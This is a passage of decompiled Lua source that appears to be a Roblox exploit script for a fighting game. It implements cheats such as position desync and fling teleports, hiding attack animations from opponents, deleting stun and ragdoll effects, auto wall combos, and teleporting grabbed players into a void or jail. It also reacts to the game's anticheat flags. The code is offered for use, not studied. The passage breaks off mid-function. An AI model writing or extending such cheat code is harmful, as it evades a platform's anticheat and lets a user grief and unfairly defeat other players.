if u861:GetAttribute('Blocking') == false or _Value10 ~= Options.BlockAnimation.Value then
else
end
if v886 then
v886:Stop(Options.BlockAnimationEndFadeTime.Value)
end
end)
task.spawn(function()
repeat
repeat
if not task.wait() or getChar(_LocalPlayer) and getChar(_LocalPlayer) ~= u861 then
return
end
if u863.MoveDirection == Vector3.new() then
end
until u863.MoveDirection ~= Vector3.new()
local _Value11 = Options.RunAnimation.Value
local u888 = _Value11 == 'Normal' and '' or (_Value11 == 'Gojo Run' and '18897115785' or (_Value11 == 'Sonic EXE' and '17860467628' or (_Value11 == 'Girly Walk' and '17861862787' or (_Value11 == 'Steve Walk' and '17861872519' or (_Value11 == 'Sassy Walk' and '17861893094' or (_Value11 == 'Yandere Walk' and '17086054994' or (_Value11 == 'Sword Walk' and '17120635926' or (_Value11 == 'March' and '15962443652' or (_Value11 == 'Hunter' and '15962326593' or (_Value11 == 'Goofy' and '18897664299' or (_Value11 == 'Officer Earl' and '18897700236' or (_Value11 == 'Kazotsky Kick' and '17861870996' or nil))))))))))))
until not u888:match('^%s*$')
if not RunAnim then
RunAnim = loadAnim(u863, u888)
end
if RunAnim and tostring(RunAnim.Animation.AnimationId):match('%d+') ~= u888 then
RunAnim:Destroy()
RunAnim = loadAnim(u863, u888)
end
if RunAnim then
if not table.find({
'17860467628',
}, u888) then
RunAnim:AdjustSpeed(Options.RunAnimationSpeed.Value)
end
if not RunAnim.IsPlaying then
task.spawn(function()
if not u861:FindFirstChild('Freeze') then
RunAnim:Play(Options.RunAnimationStartFadeTime.Value)
if u888 == '17860467628' then
RunAnim:AdjustSpeed(0)
RunAnim.TimePosition = 1.25
local v889 = TweenInfo.new(2, Enum.EasingStyle.Quad, Enum.EasingDirection.InOut, -1, true, 0)
_TweenService:Create(RunAnim, v889, {TimePosition = 1.5}):Play()
end
end
end)
end
end
task.wait()
if u863.MoveDirection == Vector3.new() or Options.RunAnimation.Value ~= _Value11 then
else
end
if RunAnim then
RunAnim:Stop(Options.RunAnimationEndFadeTime.Value)
end
local v890 = nil
local v891 = ''
local v892 = nil
if Idle ~= 'Normal' and (not v890 or v890 and not v890.IsPlaying) or v891 ~= Options.IdleAnimation.Value then
local _Value12 = Options.IdleAnimation.Value
v891 = Options.IdleAnimation.Value
if v890 then
v890:Stop()
end
if v892 then
v892:Stop()
end
if _Value12 == 'Watch' then
v890 = loadAnim(u863, '18897733312')
v890.Priority = Enum.AnimationPriority.Idle
v890:Play()
elseif _Value12 == 'Casual' then
v890 = loadAnim(u863, '13736115009')
v890.Priority = Enum.AnimationPriority.Idle
v890:Play(0.2)
v892 = loadAnim(u863, '18253570434')
v892.Priority = Enum.AnimationPriority.Idle
v892:Play()
v892:AdjustSpeed(0)
v892.TimePosition = 0.3
elseif _Value12 == 'Confident' then
v890 = loadAnim(u863, '18450406917')
v890.Priority = Enum.AnimationPriority.Idle
v890:Play(0.2)
v890:AdjustSpeed(0)
_TweenService:Create(v890, TweenInfo.new(1, Enum.EasingStyle.Quad, Enum.EasingDirection.InOut, -1, true, 0), {TimePosition = 0.1}):Play()
elseif _Value12 == 'Fent Master' then
v890 = loadAnim(u863, '17086333563')
v890.Priority = Enum.AnimationPriority.Idle
v890:Play(0.2)
v890:AdjustSpeed(0)
v890.TimePosition = 1.5
_TweenService:Create(v890, TweenInfo.new(3, Enum.EasingStyle.Quad, Enum.EasingDirection.InOut, -1, true, 0), {TimePosition = 2}):Play()
elseif _Value12 == 'Fly Idle' then
v890 = loadAnim(u863, '17124061663')
v890.Priority = Enum.AnimationPriority.Idle
v890:Play()
end
end
_RenderStepped:Wait()
if u863.MoveDirection == Vector3.new() then
end
if v890 then
v890:Stop(Options.IdleAnimationEndFadeTime.Value)
end
if v892 then
v892:Stop()
end
end)
u45[#u45 + 1] = u863.HealthChanged:Connect(function(p894)
if p894 <= 0 and u862.CFrame.Y <= 0 then
u863.Health = u876
end
end)
u45[#u45 + 1] = u861.AttributeChanged:Connect(function(p895)
if p895 == 'Combo' and (u861:GetAttribute('Combo') == 5 and u862) then
if Toggles.WallComboAnywhere.Value then
if Options.AutoWallCombo.Value == 'Auto Wall Combo + Bring' then
if Options.AutoWallCombo.Value == 'Auto Wall Combo + Bring' then
u59['Doing Wall Combo Anywhere'] = true
local v896 = tick()
repeat
getgenv().flingDesync = {
CFrame = u862.CFrame * CFrame.new(0, -0.5, 0) * CFrame.Angles(math.rad(-90), 0, 0),
}
task.wait()
until tick() >= v896 + 0.225
local _CFrame4 = u862.CFrame
getgenv().flingDesync = {
CFrame = u46[Options.AutoWallComboArea.Value],
}
task.wait(0.2)
communicate({
Goal = 'Wall Combo',
})
getgenv().flingDesync = nil
u59['Doing Wall Combo Anywhere'] = false
task.wait(0.5)
if u861:FindFirstChild('ForceField') and Toggles.AutoWallComboTPBack.Value then
stopAllAnims(u863)
heartbeatTp(_CFrame4)
end
end
else
local u898
if u59.Invisibility or Toggles.FuckedUpCharacter.Value then
u898 = nil
else
local u899 = loadAnim(u863, '181525546', 'Server')
u899.Priority = Enum.AnimationPriority.Action3
task.delay(0.1, function()
u899:Play()
u899.TimePosition = 1
u899:AdjustWeight(999999)
u899:AdjustSpeed(0)
end)
u898 = u899
end
u59['Doing Wall Combo Anywhere'] = true
local v900 = tick()
repeat
getgenv().flingDesync = {
CFrame = u862.CFrame * CFrame.new(0, -0.5, 0) * CFrame.Angles(math.rad(-90), 0, 0),
}
task.wait()
until tick() >= v900 + 0.6
getgenv().flingDesync = nil
u59['Doing Wall Combo Anywhere'] = false
task.delay(0.1, function()
if u898 then
u898:Stop()
end
end)
end
end
elseif p895 == 'Blocking' and (u861:GetAttribute('Blocking') and Toggles.InvisibleMoves_Block.Value) then
u861:SetAttribute('Blocking', false)
elseif p895 == 'TotalKillsFrb' and Toggles.AutoEmoteSpin.Value then
communicate({
Goal = 'Emote Spin',
})
end
end)
task.spawn(function()
while task.wait() and (not getChar(_LocalPlayer) or getChar(_LocalPlayer) == u861) do
if getgenv().desync and not u861:FindFirstChild('AbsoluteImmortal') then
local v901 = {
_ReplicatedStorage.Resources.NinjaUlt.Afterimage_Despawn:Clone(),
}
v901[1].Parent = u862
v901[2] = _ReplicatedStorage.Resources.VanishingKick.tpthing:Clone()
v901[2].Parent = u862
local v902, v903, v904 = pairs(v901[1]:GetChildren())
while true do
local v905
v904, v905 = v902(v903, v904)
if v904 == nil then
break
end
if v905:IsA('ParticleEmitter') then
v905.Enabled = true
v905.Rate = 100
end
end
v901[2].Enabled = true
v901[2].Rate = 100
repeat
v901[1].CFrame = u862.CFrame
_RenderStepped:Wait()
until not getgenv().desync or u861:FindFirstChild('AbsoluteImmortal')
local v906, v907, v908 = pairs(v901)
while true do
local v909
v908, v909 = v906(v907, v908)
if v908 == nil then
break
end
v909:Destroy()
end
end
end
end)
task.spawn(function()
local v910 = u861
local v911, v912, v913 = pairs(v910:GetDescendants())
while true do
local u914
v913, u914 = v911(v912, v913)
if v913 == nil then
break
end
if u914:IsA('BasePart') and (u914 ~= u862 and u914.Transparency ~= 1) and not u914.Name:lower():find('hitbox') then
task.spawn(function()
while task.wait() and (not getChar(_LocalPlayer) or getChar(_LocalPlayer) == u861) do
if u914 and (u59.Invisibility or getgenv().desync and not u861:FindFirstChild('AbsoluteImmortal')) then
u914.Transparency = 0.5
repeat
_RenderStepped:Wait()
until not u59.Invisibility and (not getgenv().desync or u861:FindFirstChild('AbsoluteImmortal')) or getChar(_LocalPlayer) and getChar(_LocalPlayer) ~= u861
u914.Transparency = 0
end
end
end)
end
end
end)
u45[#u45 + 1] = u863.AnimationPlayed:Connect(function(p915)
local _AnimationId = p915.Animation.AnimationId
if p915.Priority == Enum.AnimationPriority.Action4 and (p915.Animation.AnimationId ~= u57.ID and (u59.Invisibility and not (getgenv().flingDesync and getgenv().flingDesync.Velocity))) then
p915:AdjustWeight(-999999)
end
if _AnimationId:match('95000469063288') and (Toggles.TrashcanLaunchh and Toggles.TrashcanLaunchh.Value) then
local v917 = os.clock()
repeat
_RenderStepped:Wait()
until os.clock() >= v917 + 3
u863.Health = 0
end
if idMatch(_AnimationId, {
'18748398210',
}) then
u645 = u645 + 1
u477:Notify({
Title = bypassText('Anticheat Flagged'),
Description = bypassText('A2 (Animation)'),
Time = 10,
SoundId = u42.Notification,
})
end
if idMatch(_AnimationId, {
'13814919604',
'13813450889',
'13813448561',
'13813955149',
}) and Toggles.NoTrashcanHold.Value then
p915:Stop()
elseif idMatch(_AnimationId, {
'7815618175',
}) and Options.RunAnimation.Value ~= 'Normal' then
p915:Stop()
elseif idMatch(_AnimationId, {
'10470389827',
}) and Options.BlockAnimation.Value ~= 'Normal' then
p915:Stop()
elseif idMatch(_AnimationId, u56) then
if Toggles.CustomSideDash.Value then
p915:AdjustSpeed(Options.SDSpeed.Value)
end
if Toggles.M1Reset.Value then
local u923 = _UserInputService.InputBegan:Once(function()
while true do
if _UserInputService:IsKeyDown(Enum.KeyCode.Q) and not u861:FindFirstChild('RagdollCancel') then
if _UserInputService:IsKeyDown(Enum.KeyCode.A) or (_UserInputService:IsKeyDown(Enum.KeyCode.D) or _UserInputService:IsKeyDown(Enum.KeyCode.S)) then
if workspace:GetAttribute('NoDashCooldown') then
p915:Stop()
local v918 = u861
local v919, v920, v921 = pairs(v918:GetChildren())
while true do
local v922
v921, v922 = v919(v920, v921)
if v921 == nil then
break
end
if v922.Name == 'UsedDash' or v922.Name == 'Freeze' then
v922:Destroy()
end
end
end
else
communicate({
Dash = Enum.KeyCode.W,
Key = Enum.KeyCode.Q,
Goal = 'KeyPress',
})
end
break
end
_RenderStepped:Wait()
if not p915.IsPlaying then
break
end
end
end)
task.delay(1, function()
u923:Disconnect()
end)
end
elseif _AnimationId:match('11343250001') and rawget(Options.AntiMoves_Saitama.Value, 'Anti Death Counter') then
p915:Stop()
task.spawn(fixCam)
u861:WaitForChild('AbsoluteImmortal', 1)
if not u861:FindFirstChild('AbsoluteImmortal') then
return
end
local _CFrame5 = u862.CFrame
local v925 = _Players
local v926, v927, v928 = pairs(v925:GetPlayers())
local v929 = nil
while true do
local v930, v931 = v926(v927, v928)
if v930 == nil then
break
end
v928 = v930
if v931 ~= _LocalPlayer then
local v932 = getChar(v931)
local v933
if v932 then
v933 = getRoot(v932)
else
v933 = v932
end
local v934
if v932 then
v934 = getHumanoid(v932)
else
v934 = v932
end
if v932 and (v933 and v934) then
local v935, v936, v937 = pairs(v934:GetPlayingAnimationTracks())
while true do
local v938
v937, v938 = v935(v936, v937)
if v937 == nil then
break
end
if v938.Animation.AnimationId:match('11343318134') and (u862.Position - v933.Position).Magnitude <= 15 then
v929 = v931
end
end
end
end
end
local u939
if v929 then
u939 = getChar(v929)
if u939 then
u939 = getHumanoid(u939)
end
u477:Notify({
Title = bypassText('Phantasm'),
Description = bypassText(v929.DisplayName .. ' death countered you!'),
Time = 5,
SoundId = u42.Notification,
})
else
u939 = ({
Character = {
Humanoid = {Health = 100},
},
DisplayName = '{Failed to get username}',
}).Character.Humanoid
task.delay(2, function()
u939.Health = 0
end)
u477:Notify({
Title = bypassText('Phantasm'),
Description = bypassText('Unable to find who death countered you.'),
Time = 5,
SoundId = u42.Notification,
})
end
local _CurrentCamera5 = workspace.CurrentCamera
local v941
if _CurrentCamera5 then
v941 = _CurrentCamera5.CameraSubject
_CurrentCamera5.CameraSubject = nil
else
v941 = nil
end
local v942 = tick()
repeat
heartbeatTp(u36.Void * CFrame.Angles(math.rad(90), 0, 0))
_RenderStepped:Wait()
until u939 and u939.Health <= 0 or (u863.Health <= 0 or tick() >= v942 + 10)
if _CurrentCamera5 then
_CurrentCamera5.CameraSubject = v941
end
heartbeatTp(_CFrame5)
task.wait(1)
if u861:FindFirstChild('Freeze') then
u861.Freeze:Destroy()
end
if u861:FindFirstChild('NoRotate') then
u861.NoRotate:Destroy()
end
task.spawn(fixCam)
elseif _AnimationId:match('11365563255') and rawget(Options.InvisibleMoves_Saitama.Value, 'Invisible Table Flip') then
p915:Stop()
task.delay(3, function()
u863.HipHeight = 10
task.wait(0.75)
u863.HipHeight = 0
end)
elseif _AnimationId:match('12983333733') then
if rawget(Options.InvisibleMoves_Saitama.Value, 'Invisible Serious Punch') then
p915:Stop()
end
elseif _AnimationId:match('13927612951') and rawget(Options.InvisibleMoves_Saitama.Value, 'Invisible Omni-Directional Punch') then
p915:Stop()
elseif _AnimationId:match('12447707844') and rawget(Options.InvisibleMoves_Saitama.Value, 'Invisible Ult') then
p915:Stop()
local v943 = tick()
repeat
getgenv().desync = {
CFrame = CFrame.new(9000000000, 9000000000, 9000000000),
}
task.wait()
until tick() >= v943 + 1
getgenv().desync = nil
elseif _AnimationId:match('12342141464') and rawget(Options.InvisibleMoves_Garou.Value, 'Invisible Ult') then
p915:Stop()
elseif table.find({
'rbxassetid://13499771836',
'rbxassetid://13497875049',
}, _AnimationId) and rawget(Options.InvisibleMoves_Sonic.Value, 'Invisible Ult') then
p915:Stop()
elseif _AnimationId:match('12772543293') and rawget(Options.InvisibleMoves_Genos.Value, 'Invisible Ult') then
p915:Stop()
elseif _AnimationId:match('13146710762') and rawget(Options.InvisibleMoves_Genos.Value, 'Invisible Incinerate') then
p915:Stop()
elseif _AnimationId:match('15145462680') and rawget(Options.InvisibleMoves_AtomicSamurai.Value, 'Invisible Atmos Cleave') then
p915:Stop()
elseif _AnimationId:match('15391323441') and rawget(Options.InvisibleMoves_AtomicSamurai.Value, 'Invisible Ult') then
p915:Stop()
elseif idMatch(_AnimationId, {
'16139108718',
'16139708727',
'16139402582',
}) and rawget(Options.InvisibleMoves_Tatsumaki.Value, 'Invisible Crushing Pull') then
p915:Stop()
elseif _AnimationId:match('16515850153') and rawget(Options.InvisibleMoves_Tatsumaki.Value, 'Invisible Windstorm Fury') then
p915:Stop()
elseif _AnimationId:match('16431491215') and rawget(Options.InvisibleMoves_Tatsumaki.Value, 'Invisible Stone Grave') then
p915:Stop()
elseif idMatch(_AnimationId, {
'16597322398',
'16597912086',
}) and rawget(Options.InvisibleMoves_Tatsumaki.Value, 'Invisible Expulsive Push') then
p915:Stop()
elseif _AnimationId:match('16734584478') and rawget(Options.InvisibleMoves_Tatsumaki.Value, 'Invisible Ult') then
p915:Stop()
elseif _AnimationId:match('15520132233') and rawget(Options.InvisibleMoves_AtomicSamurai.Value, 'Invisible Sunset') then
p915:Stop()
elseif _AnimationId:match('15676072469') and rawget(Options.InvisibleMoves_AtomicSamurai.Value, 'Invisible Solar Cleave') then
p915:Stop()
elseif _AnimationId:match('16062410809') and rawget(Options.InvisibleMoves_AtomicSamurai.Value, 'Invisible Sunrise') then
p915:Stop()
elseif _AnimationId:match('16062712948') and rawget(Options.InvisibleMoves_AtomicSamurai.Value, 'Invisible Sunrise Finisher') then
p915:Stop()
elseif _AnimationId:match('16082123712') and rawget(Options.InvisibleMoves_AtomicSamurai.Value, 'Invisible Atomic Slash') then
p915:Stop()
elseif _AnimationId:match('16057411888') and rawget(Options.InvisibleMoves_AtomicSamurai.Value, 'Invisible Atomic Slash Finisher') then
p915:Stop()
elseif _AnimationId:match('17799224866') and rawget(Options.InvisibleMoves_Suiryu.Value, 'Invisible Bullet Barrage') then
p915:Stop()
elseif _AnimationId:match('17275150809') and rawget(Options.InvisibleMoves_Tatsumaki.Value, 'Invisible Terrible Tornado') then
p915:Stop()
elseif _AnimationId:match('17278415853') and rawget(Options.InvisibleMoves_Tatsumaki.Value, 'Invisible Terrible Tornado Finisher') then
p915:Stop()
elseif table.find(u53, _AnimationId) and Toggles.InvisibleMoves_Counter.Value then
p915:AdjustWeight(-999999)
elseif table.find(u54, _AnimationId) and Toggles.InvisibleMoves_CounterHit.Value then
p915:Stop()
elseif table.find(u55, _AnimationId) and Toggles.InvisibleMoves_Block.Value then
p915:AdjustWeight(-999999)
local _EsperShield = u862:FindFirstChild('EsperShield')
if _EsperShield then
local v945, v946, v947 = pairs(_EsperShield:GetChildren())
while true do
local v948, u949 = v945(v946, v947)
if v948 == nil then
break
end
v947 = v948
if u949:IsA('ParticleEmitter') and not u949.Name:find('Impact') then
task.spawn(function()
local _Rate = u949.Rate
local _Color = u949.Color
u949.Rate = 45
if Toggles.InvisibleMoves_BlockColor.Value then
u949.Color = ColorSequence.new({
ColorSequenceKeypoint.new(0, Options.InvisibleMoves_BlockColor1.Value),
ColorSequenceKeypoint.new(0.5, Options.InvisibleMoves_BlockColor2.Value),
ColorSequenceKeypoint.new(1, Options.InvisibleMoves_BlockColor3.Value),
})
end
u949.Enabled = true
repeat
_RenderStepped:Wait()
until not p915.IsPlaying
u949.Enabled = false
u949.Rate = _Rate
if Toggles.InvisibleMoves_BlockColor.Value then
u949.Color = _Color
end
end)
end
end
end
end
if Toggles.SkillBring.Value then
local u952 = u36[Options.SkillBringArea.Value]
local _Value13 = Toggles.SkillBringTPBack.Value
if _AnimationId:match('12273188754') then
task.wait(0.25)
u59['Pause Orbit'] = true
local _CFrame6 = u862.CFrame
tick()
_TweenService:Create(u862, TweenInfo.new(0.75, Enum.EasingStyle.Linear, Enum.EasingDirection.InOut), {CFrame = u952}):Play()
task.wait(0.75)
u59['Pause Orbit'] = false
if _Value13 then
heartbeatTp(_CFrame6)
end
elseif _AnimationId:match('12296113986') then
u59['Pause Orbit'] = true
local _CFrame7 = u862.CFrame
_TweenService:Create(u862, TweenInfo.new(0.5, Enum.EasingStyle.Linear, Enum.EasingDirection.InOut), {CFrame = u952}):Play()
task.wait(1.5)
u59['Pause Orbit'] = false
if _Value13 then
heartbeatTp(_CFrame7)
end
elseif _AnimationId:match('14048285180') or _AnimationId:match('14046756619') then
task.wait(0.35)
u59['Pause Orbit'] = true
local _CFrame8 = u862.CFrame
_TweenService:Create(u862, TweenInfo.new(0.5, Enum.EasingStyle.Linear, Enum.EasingDirection.InOut), {
CFrame = CFrame.new(-66, 29, 20383),
}):Play()
task.wait(2.25)
u59['Pause Orbit'] = false
if _Value13 then
heartbeatTp(_CFrame8)
end
elseif _AnimationId:match('14705929107') then
task.wait(1.75)
u59['Pause Orbit'] = true
local _CFrame9 = u862.CFrame
local v958 = tick()
repeat
heartbeatTp(u952)
task.wait()
until tick() >= v958 + 0.5
u59['Pause Orbit'] = false
if _Value13 then
heartbeatTp(_CFrame9)
end
elseif _AnimationId:match('13376962659') then
task.wait(1.5)
u59['Pause Orbit'] = true
local _CFrame10 = u862.CFrame
local v960 = tick()
repeat
heartbeatTp(u952)
task.wait()
until tick() >= v960 + 0.5
u59['Pause Orbit'] = false
if _Value13 then
heartbeatTp(_CFrame10)
end
elseif _AnimationId:match('15145462680') then
task.spawn(function()
task.wait(1.8)
local v961 = _Players
local v962, v963, v964 = pairs(v961:GetPlayers())
while true do
local v965
v964, v965 = v962(v963, v964)
if v964 == nil then
break
end
if v965 ~= _LocalPlayer then
local v966 = getChar(v965)
local v967
if v966 then
v967 = getRoot(v966)
else
v967 = v966
end
local v968
if v966 then
v968 = getHumanoid(v966)
else
v968 = v966
end
if v966 and (v967 and (v968 and ((v967.Position - u862.Position).Magnitude <= 15 and v968.Health <= 20))) then
return
end
end
end
u59['Pause Orbit'] = true
local _CFrame11 = u862.CFrame
local v970 = tick()
repeat
heartbeatTp(u952)
task.wait()
until tick() >= v970 + 0.5
u59['Pause Orbit'] = false
if _Value13 then
heartbeatTp(_CFrame11)
end
end)
elseif _AnimationId:match('15295895753') then
task.wait(0.4)
if p915.IsPlaying then
u59['Pause Orbit'] = true
local _CFrame12 = u862.CFrame
local v972 = tick()
repeat
heartbeatTp(u952)
task.wait()
until tick() >= v972 + 0.8
u59['Pause Orbit'] = false
if _Value13 then
heartbeatTp(_CFrame12)
end
end
elseif _AnimationId:match('16139108718') then
local _CFrame13 = u862.CFrame
u59['Pause Orbit'] = true
local v974 = tick()
repeat
heartbeatTp(u952)
task.wait()
until tick() >= v974 + 1
u59['Pause Orbit'] = false
if _Value13 then
heartbeatTp(_CFrame13)
end
end
end
if _AnimationId:match('135104210400610') then
repeat
task.wait()
until not p915.IsPlaying
if p915.TimePosition >= 0.75 then
local v975 = _Players
local v976, v977, v978 = pairs(v975:GetPlayers())
while true do
local v979, v980 = v976(v977, v978)
if v979 == nil then
break
end
v978 = v979
if v980 ~= _LocalPlayer then
local v981 = getChar(v980)
if v981 then
v981:SetAttribute('CrushedRockVariant', nil)
end
end
end
end
end
if Toggles.AttackAll.Value then
if _AnimationId:match('14719290328') and rawget(Options.AttackAllMoves.Value, 'Savage Tornado') then
local _CFrame14 = u862.CFrame
heartbeatTp(u36.Void)
task.wait(0.9)
local v983 = tick()
repeat
grabRandom(true)
task.wait(0.03)
until tick() >= v983 + 1.75
_TweenService:Create(u862, TweenInfo.new(0.35, Enum.EasingStyle.Linear, Enum.EasingDirection.InOut), {
CFrame = u36['Even Bigger Jail'],
}):Play()
task.wait(1.5)
heartbeatTp(_CFrame14)
end
if _AnimationId:match('14701242661') and rawget(Options.AttackAllMoves.Value, 'Brutal Beatdown') then
heartbeatTp(u36.Void)
task.wait(2)
local v984 = tick()
repeat
grabRandom(true)
task.wait(0.05)
until tick() >= v984 + 4.5
local v985 = tick()
grabRandom(true)
task.wait(0.03)
if tick() >= v985 + 1.3 then
end
end
if _AnimationId:match('135104210400610') and rawget(Options.AttackAllMoves.Value, 'Crushed Rock Variant') then
local v986 = getAllPlayers()
local v987, v988, v989 = pairs(v986)
local v990 = nil
while true do
local v991, v992 = v987(v988, v989)
if v991 == nil then
break
end
v989 = v991
local v993 = getChar(v992)
local v994
if v993 then
v994 = v993:FindFirstChildWhichIsA('ForceField')
else
v994 = v993
end
if v993 and not (v994 or v993:GetAttribute('CrushedRockVariant')) then
v990 = v992
end
end
local v995
if v990 then
v995 = getChar(v990)
else
v995 = v990
end
local v996
if v995 then
v996 = getRoot(v995)
else
v996 = v995
end
if v990 and (v995 and v996) then
repeat
heartbeatTp(v996.CFrame)
task.wait()
until not p915.IsPlaying
end
end
else
if Toggles.SkillThrow.Value then
local _Value14 = Options.SkillThrowMoves.Value
if _AnimationId:match('12309835105') and rawget(_Value14, 'Hunters Grasp') then
task.wait(0.3)
local _CFrame15 = u862.CFrame
_TweenService:Create(u862, TweenInfo.new(0.4, Enum.EasingStyle.Linear, Enum.EasingDirection.InOut), {
CFrame = u862.CFrame * CFrame.new(0, 2500, 0),
}):Play()
task.wait(0.8)
heartbeatTp(_CFrame15)
elseif _AnimationId:match('14004235777') and rawget(_Value14, 'Homerun') then
task.wait(0.4)
local _CFrame16 = u862.CFrame
_TweenService:Create(u862, TweenInfo.new(0.4, Enum.EasingStyle.Linear, Enum.EasingDirection.InOut), {
CFrame = u862.CFrame * CFrame.new(0, 10000, 0),
}):Play()
task.wait(1)
heartbeatTp(_CFrame16)
end
end
return
end
end)
local u1000 = {}
u45[#u45 + 1] = u861.DescendantAdded:Connect(function(p1001)
if table.find({
'BODYGYRO',
'BodyGyroBind',
}, p1001.Name) and Options.RunAnimation.Value == 'Sonic EXE' then
deleteNew(p1001, false)
end
if p1001:IsA('Sound') and (p1001.SoundId:match('16139753098') and rawget(Options.AntiMoves_Tatsumaki.Value, 'Anti Crushing Pull')) then
local v1002 = tick()
repeat
communicate({
Goal = 'KeyPress',
Key = Enum.KeyCode.F,
})
_RenderStepped:Wait()
until tick() >= v1002 + 0.5
communicate({
Goal = 'KeyRelease',
Key = Enum.KeyCode.F,
})
end
if p1001:IsA('ObjectValue') and p1001.Name:lower() == 'wallcombo' then
local v1003 = tick()
while true do
if Options.AutoWallCombo.Value == 'Auto Wall Combo' then
communicate({
Goal = 'Wall Combo',
})
end
task.wait()
if p1001.Parent ~= u861 or tick() >= v1003 + (p1001:GetAttribute('DeleteMe') or 0.6) then
end
end
else
if p1001:IsA('BodyPosition') then
if p1001.Name ~= 'AIRBP' or (p1001.D ~= 800 or (p1001.P ~= 10000 or (p1001.MaxForce ~= Vector3.new(1, 1, 1) * 40000 or not Toggles.NoBP_WindstormFury.Value))) then
if p1001.Name ~= 'AIRBP' or (p1001.D ~= 800 or (p1001.P ~= 10000 or (p1001.MaxForce ~= Vector3.new(1, 1, 1) * 40000 or (p1001:GetAttribute('SpinCenter') == nil or not Toggles.NoBP_TatsumakiUlt.Value)))) then
if p1001.Name == 'AIRBP' and (p1001.D == 850 and (p1001.P == 10000 and (p1001.MaxForce == Vector3.new(1, 1, 1) * 40000 and Toggles.NoBP_PreysPeril.Value))) then
task.spawn(pcall, deleteNew, p1001, false)
end
else
task.spawn(pcall, deleteNew, p1001, false)
end
else
task.spawn(pcall, deleteNew, p1001, false)
end
end
if p1001:IsA('BodyVelocity') then
if p1001.Name ~= 'moveme' or (p1001:GetAttribute('Speed') or 0) ~= 165 then
if p1001.Name == 'dodgevelocity' and not p1001:GetAttribute('Clone') then
_Stepped:Wait()
local v1004 = u863
local v1005, v1006, v1007 = pairs(v1004:GetPlayingAnimationTracks())
while true do
local v1008
v1007, v1008 = v1005(v1006, v1007)
if v1007 == nil then
break
end
if v1008.Animation.AnimationId:match('10491993682') and v1008.TimePosition <= 0.1 then
if Toggles.CustomBackDash.Value then
local v1009 = p1001:Clone()
v1009:SetAttribute('Clone', true)
table.insert(u1000, v1009)
p1001.Parent = workspace
while p1001 and p1001.Parent do
v1009.Parent = u862
v1009.Velocity = p1001.Velocity * Options.BDDistance.Value
_RenderStepped:Wait()
end
if v1009 and v1009.Parent then
v1009:Destroy()
table.remove(u1000, table.find(u1000, v1009))
end
end
return
end
end
if Toggles.CustomSideDash.Value then
local v1010 = p1001:Clone()
v1010:SetAttribute('Clone', true)
table.insert(u1000, v1010)
p1001.Parent = workspace
while p1001 and p1001.Parent do
v1010.Parent = u862
v1010.Velocity = p1001.Velocity * Options.SDDistance.Value
_RenderStepped:Wait()
end
if v1010 and v1010.Parent then
v1010:Destroy()
table.remove(u1000, table.find(u1000, v1010))
end
end
end
else
if Toggles.CustomFrontDash.Value then
p1001:SetAttribute('Speed', Options.FDDistance.Value)
end
local v1011, v1012, v1013 = pairs(u1000)
while true do
local v1014
v1013, v1014 = v1011(v1012, v1013)
if v1013 == nil then
break
end
v1014:Destroy()
end
table.clear(u1000)
end
end
if p1001:IsA('Accessory') then
if table.find({
'Slowed',
'StopRunning',
'ComboStun',
}, p1001.Name) and rawget(Options.CharacterExploits.Value, 'No Slow') then
if p1001.Name ~= 'Slowed' then
if p1001.Name == 'StopRunning' or p1001.Name == 'ComboStun' then
deleteNew(p1001)
end
else
local v1015 = u863:GetPropertyChangedSignal('WalkSpeed'):Connect(function()
u863.WalkSpeed = u861:GetAttribute('Ulted') and (u861:GetAttribute('Running') and 32 or 16) or (u861:GetAttribute('Running') and 25 or 16)
end)
u863.WalkSpeed = u861:GetAttribute('Ulted') and (u861:GetAttribute('Running') and 32 or 16) or (u861:GetAttribute('Running') and 25 or 16)
repeat
_RenderStepped:Wait()
until p1001.Parent ~= u861
v1015:Disconnect()
end
elseif (p1001.Name == 'Freeze' or p1001.Name == 'AntiMove') and rawget(Options.CharacterExploits.Value, 'No Stun') then
local v1016 = u863:GetPropertyChangedSignal('WalkSpeed'):Connect(function()
u863.WalkSpeed = u861:GetAttribute('Ulted') and (u861:GetAttribute('Running') and 32 or 16) or (u861:GetAttribute('Running') and 25 or 16)
end)
u863.WalkSpeed = u861:GetAttribute('Ulted') and (u861:GetAttribute('Running') and 32 or 16) or (u861:GetAttribute('Running') and 25 or 16)
repeat
_RenderStepped:Wait()
until p1001.Parent ~= u861
v1016:Disconnect()
elseif p1001.Name ~= 'NoJump' or not rawget(Options.CharacterExploits.Value, 'No Jump Bypass') then
if (p1001.Name == 'NoRotate' or p1001.Name == 'NoRotateUltimate') and rawget(Options.CharacterExploits.Value, 'No Rotations Bypass') then
task.spawn(pcall, deleteNew, p1001, false)
elseif p1001.Name ~= 'Ragdoll' then
if p1001.Name ~= 'RagdollSim' then
if p1001.Name ~= 'BeingLaunched' then
if p1001.Name == 'ThrowTrashcan' then
u59['Trashcan Launch'] = true
task.wait(0.25)
u59['Trashcan Launch'] = false
end
elseif Toggles.LaunchHide.Value and u863.Health > 0 and not u861:FindFirstChild('ExtraHitbox') then
local v1017 = tick()
repeat
getgenv().desync = {
CFrame = CFrame.new(9000000000, 9000000000, 9000000000),
}
task.wait()
until tick() >= v1017 + 3 or (u861:FindFirstChild('LaunchEnded') or u863.Health <= 0)
getgenv().desync = nil
end
elseif rawget(Options.CharacterExploits.Value, 'Anti Ragdoll') then
task.spawn(pcall, deleteNew, p1001, false)
end
else
if rawget(Options.CharacterExploits.Value, 'Anti Ragdoll') then
p1001:Remove()
end
if Toggles.AutoRagdollCancel.Value then
communicate({
Dash = Enum.KeyCode.S,
Key = Enum.KeyCode.Q,
Goal = 'KeyPress',
})
end
task.spawn(function()
if Toggles.RagdollHide.Value and u863.Health > 0 and not u861:FindFirstChild('ExtraHitbox') then
tick()
repeat
getgenv().desync = {
CFrame = CFrame.new(9000000000, 9000000000, 9000000000),
}
task.wait()
until not p1001 or (not p1001.Parent or u863.Health <= 0)
getgenv().desync = nil
end
end)
end
else
task.spawn(pcall, deleteNew, p1001, false)
end
end
return
end
end)
end
end
function initOthers(p1018)
if not u43[p1018] then
u43[p1018] = {}
end
if u44.Players[p1018] then
local v1019, v1020, v1021 = pairs(u44.Players[p1018])
while true do
local v1022
v1021, v1022 = v1019(v1020, v1021)
if v1021 == nil then
break
end
v1022:Remove()
end
table.remove(u44.Players, table.find(u44.Players, p1018))
end
u44.Players[p1018] = {}
local v1023, v1024, v1025 = pairs(u43[p1018])
while true do
local v1026
v1025, v1026 = v1023(v1024, v1025)
if v1025 == nil then
break
end
v1026:Disconnect()
end
table.clear(u43[p1018])
repeat
task.wait()
